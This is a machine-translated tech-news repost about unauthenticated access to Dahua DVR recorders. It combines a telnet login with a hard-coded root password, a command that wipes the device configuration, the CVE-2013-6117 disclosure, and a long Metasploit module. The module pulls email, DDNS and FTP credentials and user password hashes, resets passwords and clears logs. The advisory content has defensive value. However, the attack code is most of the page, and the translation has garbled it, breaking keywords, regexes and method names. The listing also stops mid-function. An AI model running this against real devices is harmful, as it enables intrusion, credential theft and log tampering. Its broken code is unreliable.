Network Security Internet Technology Development Database Servers Mobile Phone Android Software Apple Software Computer Software News IT Information

In addition to Weibo, there is also WeChat

Please pay attention

WeChat public account

Shulou

Telnet to Dahua DVR equipment

2025-03-15 Update From: SLTechnology News&Howtos shulou NAV: SLTechnology News&Howtos > Network Security >

Share

Shulou(Shulou.com)06/01 Report--

1. Nmap scans the port of the hard disk recorder.

2. Telnet xxx

User name: root

Password: vizxv

3. After logging in, you can see many commands that can be used:

#

3gconfig dd halt insmod login mknod nice pwd top

3gpp depmod hdparm ip ls modprobe p7zip reboot touch

Challenge.7z df hostname ipaddr lsmod mount ping rm umount

Ash du hush iplink lspci msh ping6 rmmod uname

Busybox dvrhelper ifconfig iproute lsusb mv poweroff route unrar

Cat echo ifdown iprule lua/ net3g pppd sh upgraded

Chat eject ifup iptunnel makedevs netinit pppoe sleep upnp_tv_ctrlpt

Chmod fdisk ii kill mdev netinit6 pppoe-start snmpd usb_modeswitch

Cp free inetd killall mesg netstat printenv sync vi

Cttyhack getty init killall5 mkdir nfs ps telnetd

4. Execute the command in the telnet window: rm-rf / mnt/mtd/Config/*, and enter. Notice that all information, including IP, is restored to the default value at this time.

(from link http://www.jwcctv.com/news/html/?216.html)

5. # vi / mnt/mtd/Config/passwd can see the password, but it is after hash.

6. Google has an article about the vulnerabilities of Dahua DVR devices. Https://www.google.com.hk/url?sa=t&rct=j&q=&esrc=s&source=web&cd=3&cad=rja&ved=0CDgQFjAC&url=%68%74%74%70%3a%2f%2f%65%78%70%6c%6f%69%74%2d%64%6f%77%6e%6c%6f%61%64%2e%63%6f%6d%2f%73%65%61%72%63%68%2f%70%68%70%25%32%30%72%6f%6f% 74%25%32%30%65%78%70%6c%6f%69%74%2f%31%35%34%39&ei=_kHeUv6PBqSbigf9koDYDw&usg=AFQjCNE6fXLRFAxfS852-c1KgQXcGlr5wQ .

Put up the information below (the article is so long). Friends who have Dahua DVR equipment on hand can refer to it.

Dahua DVR Authentication Bypass-CVE-2013-6117

-- Summary--

Dahua web-enabled DVRs and rebranded versions do not enforce authentication on their administrative services.

# Zhejiang Dahua Technology Co., Ltd.

# http://www.dahuasecurity.com

-- Affects--

# Dahua web-enabled DVRs

# Dahua-rebranded web-enabled DVRs

# Verified on v2.608.0000.0 and 2.608.GV00.0

-- Details--

Dahua web-enabled DVRs utilize fat-client utilities like PSS, mobile client interfaces like iDMSS, and an ActiveX control, "webrec.cab" for browser-based access. These clients communicate with an administrative service which runs on TCP port 37777 by default and can be changed. At least in the case of the ActiveX control, a simple binary protocol is used. The various commands supported by the server are not authorized in any way. Authentication simply serves as a way to let the client transition past the login screen. Various commands can be replayed to any DVR sans authentication. These include:

# Get the firmware version

# Get the serial number

# Get the email settings (includes username, SMTP server, and cleartext creds)

# Get the DDNS settings (includes the DDNS service, server, and cleartext creds)

# Get the NAS settings (again, cleartext creds)

# Get the users (username, group membership, and hashed passwords)

# Get the user groups (group name, description, etc)

# Get the channels (camera channel names, e.g. "bedroom"cocina")

# Clear the logs (handy)

# Change a user's password (unauthorized access)

More Details: http://blog.depthsecurity.com/2013/11/dahua-dvr-authentication-bypass-cve.html

-- MetaSploit Module--

We wrote a MetaSploit scanner module as a proof of concept. It is multithreaded and can look for a specified port, scan networks, find DVRs, get all the above info, change a user's password, and clear the logs when it's through.

# GIT Repo: https://github.com/depthsecurity/dahua_dvr_auth_bypass.git

-- Other Concerns--

# Some nearly simultaneous research independent of mine: http://www.kb.cert.org/vuls/id/800094

# CVE-2013-3612: DVRs listen for telnet by default and the root password is static and publicly known on all devices. (http://www.cctvforum.com/viewtopic.php?f=3&t=32408)

# Other backdoor accounts exist, including one with a revolving password that is a simple date hash.

# CVE-2013-3613: UPnP requests from untrusted addresses is supported and could be used to get publicly accessible telnet on a DVR.

# CVE-2013-3614: Passwords are limited to 6 chars.

# CVE-2013-3615: a weak 48-bit hash is utilized to protect DVR account passwords.

# We admittedly did not perform any serious fuzzing of the vulnerable service so there is a large potential for more serious vulnerabilities that allow RCE.

# Also, the DVRs listen on many different ports including telnet besides those necessary for web access (TCP/80,37777,&37778 by default).

# SMTP, NAS, and DDNS credentials were all stored and transferred in cleartext.

-- Mitigation--

The best advice for now is to make sure these devices are not publicly accessible to the internet. Dahua initially stated they would work on fixing the issues but went radio silent afterwards.

-- Timeline--

# 8/26/2013: Identified authorization flaw

# 8/27/2013: Wrote proof of concept tool/scanner

# 8/28/2013: Disclosed issue to Dahua

# 8/30/2013: Received initial response from Dahua including request for more info

# 8/30/2013: Responded to Dahua with requested info

# 9 + 2 * 2013: Received confirmation that Dahua rotated is working to fix the issue

# 10/2/2013: Requested status update from Dahua

# 10/10/2013: Re-requested status update from Dahua after no response from 10/2/2013

# 11/13/2013: Publicly disclosed vulnerability

Jake Reynolds-Partner / Principal Consultant

Require 'msf/core'

Class Metasploit3

< Msf::Auxiliary include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Scanner include Msf::Auxiliary::Report def initialize super( 'Name' =>

'Dahua DVR Auth Bypas Scanner'

'Version' = >'$Revision: 1 $'

'Description' = >' Scans for Dahua-based DVRs and then grabs settings. Optionally resets a user\'s password and clears the device logs'

'Author' = >' Jake Reynolds-Depth Security'

'License' = > MSF_LICENSE

)

Deregister_options ('RHOST')

Register_options (

[

OptString.new ('USERNAME', [true,' A username to reset', '888888'])

OptString.new ('PASSWORD', [true,' A password to reset the user with', 'abc123'])

OptBool.new ('RESET', [true,' Reset an existing user\'s pw?', 'FALSE'])

OptBool.new ('CLEAR_LOGS', [true,' Clear the DVR logs when we\'re done?', 'TRUE'])

Opt::RPORT (37777)

], self.class)

End

Def run_host (ip)

Usercount = 0

U1 = "\ xa1\ x00\ X00\ x00\ x00" +

"\ x00\ x00"

Dvr_resp = "\ xb1\ x00\ x00\ x58\ x00\ x00"

Version = "\ xa4\ x00\ x08\ x00\ x00" +

"\ x00\ x00"

Email = "\ xa3\ x00\ x63\ x6f\ x6e\ x66\ x69\ x67\ x00\ x00" +

"\ x0b\ X00\ x00\ x00"

Ddns = "\ xa3\ x00\ x63\ x6f\ x6e\ x66\ x69\ x67\ x00\ x00" +

"\ x8c\ X00\ x00\ x00"

Nas = "\ xa3\ x00\ x63\ x6f\ x6e\ x66\ x69\ x67\ x00\ x00" +

"\ x25\ x00\ x00"

Channels = "\ xa8\ x00\ x00" +

"\ x00\ x00" +

"\ xa8\ X00\ X01\ X00\ X00" +

"\ x00\ x00"

Groups = "\ xa6\ x00\ x05\ x00\ x00" +

"\ x00\ x00"

Users = "\ xa6\ x00\ x09\ x00\ x00" +

"\ x00\ x00"

Sn = "\ xa4\ x00\ x07\ x00\ x00" +

"\ x00\ x00"

Clear_logs = "\ x60\ x00\ x90\ x00\ x00" +

"\ x00\ x00"

Clear_logs2 = "\ x60\ x00\ x09\ x00\ x00" +

"\ x00\ x00"

User = "root"

Pass = "w"

User8pwhash = "4WzwxXxM" # 888888

User6pwhash = "sh25yfFM" # 666666

Useradminpwhash = "6QNMIQGe" # admin

Connect ()

Sock.put (U1)

Data = sock.recv (8)

Disconnect ()

If data = = dvr_resp

Print_good ("DVR FOUND: @ # {rhost}: # {rport}!")

Report_service (: host = > rhost,: port = > rport,: sname = > 'dvr',: info = > "Dahua-based DVR")

Connect ()

Sock.put (version)

Data = sock.get (1024)

If data = ~ / [\ x00] {8,} ([[: print:]] +) /

Ver = $1

Print_status ("Version: # {ver} @ # {rhost}: # {rport}!")

End

Sock.put (sn)

Data = sock.get (1024)

If data = ~ / [\ x00] {8,} ([[: print:]] +) /

Serial = $1

Print_status ("Serial Number: # {serial} @ # {rhost}: # {rport}!")

End

Sock.put (email)

If data = sock.get (1024). Split ('&')

Print_status ("Email Settings: @ # {rhost}: # {rport}!")

If data [0] = ~ / ([\ x00] {8,} (? =. {1255} $) [0-9A-Za-z] (?: (?: [0-9A-Za-z] | -) {0 9A-Za-z 61} [0-9A-Za-z])? (?: (: [0-9A-Za-z] | -) {0jue 61} [0-9A-Za-z])?) *\. +:\ d +)

If mailhost = $1.split (':')

Print_status ("Server: # {mailhost [0]}") if! mailhost [0] .nil?

Print_status ("Destination Email: # {data [1]}") if! mailhost [1] .nil?

End

If! data [5] .nil? And! data [6] .nil?

Print_good ("SMTP User: # {data [5]}") if! data [5] .nil?

Print_good ("SMTP Password: # {data [6]}") if! data [6] .nil?

Report_auth_info (: host = > mailhost [0],: port = > mailhost [1],: user = > data [5]

: pass = > data [6],: type = > "Mail",: active = > true) if (! mailhost [0] .nil? And

! mailhost [1] .nil? And! data [5] .nil? And! data [6] .nil?)

End

End

End

Sock.put (ddns)

If data = sock.get (1024)

Data = data.split (/ & & [0-1] & & /)

Data.each_with_index {

| | val, index |

If index > 0

Val = val.split ("&")

Print_status ("DDNS Settings @ # {rhost}: # {rport}!:")

Print_status ("DDNS Service: # {val [0]}") if! val.nil?

Print_status ("DDNS Server: # {val [1]}") if! val.nil?

Print_status ("DDNS Port: # {val [2]}") if! val.nil?

Print_status ("Domain: # {val [3]}") if! val.nil?

Print_good ("Username: # {val [4]}") if! val.nil?

Print_good ("Password: # {val [5]}") if! val.nil?

Report_auth_info (: host = > val [1],: port = > val [2],: user = > val [4],: pass = > val [5],: type = > "DDNS"

: active = > true) if (! val [1] .nil? And! val [2] .nil? And! val [4] .nil? And! val [5] .nil?)

End

}

End

Sock.put (nas)

If data = sock.get (1024)

Print_status ("Nas Settings @ # {rhost}: # {rport}!:")

Server =''

Port =''

If data = ~ / [\ x00] {8,} [\ X01] [\ x00] {3 9a-f 3} ([\ x0-9a-f] {4jue 4}) ([\ x0-9a-f] {2jue 2}) /

Server = $1.unpack ('paid'). Join ('.')

Port = $2.unpack ('S')

Print_status ("Nas Server # {server}")

Print_status ("Nas Port: # {port}")

End

If data = ~ / [\ x00] {16,} ([[: print:]] +) [\ x00] {16,} ([[: print:]] +) /

Ftpuser = $1

Ftppass = $2

Print_good ("FTP User: # {ftpuser}")

Print_good ("FTP Password: # {ftppass}")

# report_auth_info (: host = > server,: port = > port,: user = > ftpuser,: pass = > ftppass,: type = > "FTP"

#: active = > true) if (! server.nil? And! port.nil? And! ftpuser.nil? And! ftppass.nil?)

End

End

Sock.put (channels)

Data = sock.get (1024). Split ('&')

Disconnect ()

If (data.length > 1)

Print_status ("Camera Channels @ # {rhost}: # {rport}!:")

Data.each_with_index {

| | val, index |

Print_status ("# {index+1}: # {val [/ ([[: print:]] +) /]}")

}

End

Connect ()

Sock.put (users)

If data = sock.get (1024). Split ('&')

Print_status ("Users\ Hashed Passwords\ Rights\ Description: @ # {rhost}: # {rport}!")

Data.each {

| | val |

Usercount + = 1

Print_status ("# {val [/ (([\ d] +) [:] ([[: print:]] +) /]}")

}

End

Sock.put (groups)

If data = sock.get (1024). Split ('&')

Print_status ("User Groups: @ # {rhost}: # {rport}!")

Data.each {

| | val |

Print_status ("# {val [/ (([\ d] +) [:] ([\ w] +)) /]}")

}

End

If (datastore ['RESET'])

Userstring = datastore ['USERNAME'] + ": Intel:" + datastore [' PASSWORD'] +

":" + datastore ['PASSWORD']

U1 = "\ xa4\ x00\ x1a\ x00\ x00" +

"\ x00\ x00"

U2 = "\ xa4\ x00\ x08\ x00\ x00" +

"\ x00\ x00"

U3 = "\ xa6\ x00\ x00\ x0" {userstring.length.chr}\ x00\ x0a\ x00\ x00\ X00\ X00\ x00\ x00 "+

"\ x00\ x00" +

Userstring

Sock.put (U1)

Data = sock.get (1024)

Sock.put (U2)

Data = sock.get (1024)

Sock.put (U3)

Data = sock.get (1024)

Sock.put (U1)

If data = sock.get (1024)

Print_good ("PASSWORD resets: user # {datastore ['USERNAME']}' s password reset to # {datastore ['PASSWORD']}! @ # {rhost}: # {rport}!")

End

# elsif (datastore ['ACTION'] = = "DELETE")

# U1 = "\ xa4\ x00\ x08\ x00\ x00" +

# "\ x00\ x00"

# u2 = "\ xa4\ x00\ x1a\ x00\ x00" +

# "\ x00\ x00"

# delete = "\ xa6\ X00\ x00\ x0" {datastore ['USERNAME'] .roomth.chr}\ x00\ x07\ x00\ x00 "+

# "\ x00\ x00" +

# datastore ['USERNAME']

# print delete

# sock.send (U1,0)

# sock.get_once

# sock.send (delete, 0)

# sock.get_once

# sock.send (U2,0)

# sock.get_once

#

#

# elsif (datastore ['ACTION'] = = "ADD")

# userstring = (usercount + 1). To_s + ":" + datastore ['USERNAME'] + ":" + datastore [' PASSWORD']

# userstring

Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.

Views: 0

*The comments in the above article only represent the author's personal views and do not represent the views and positions of this website. If you have more insights, please feel free to contribute and share.

Share To

Network Security

Wechat

© 2024 shulou.com SLNews company. All rights reserved.

12
Report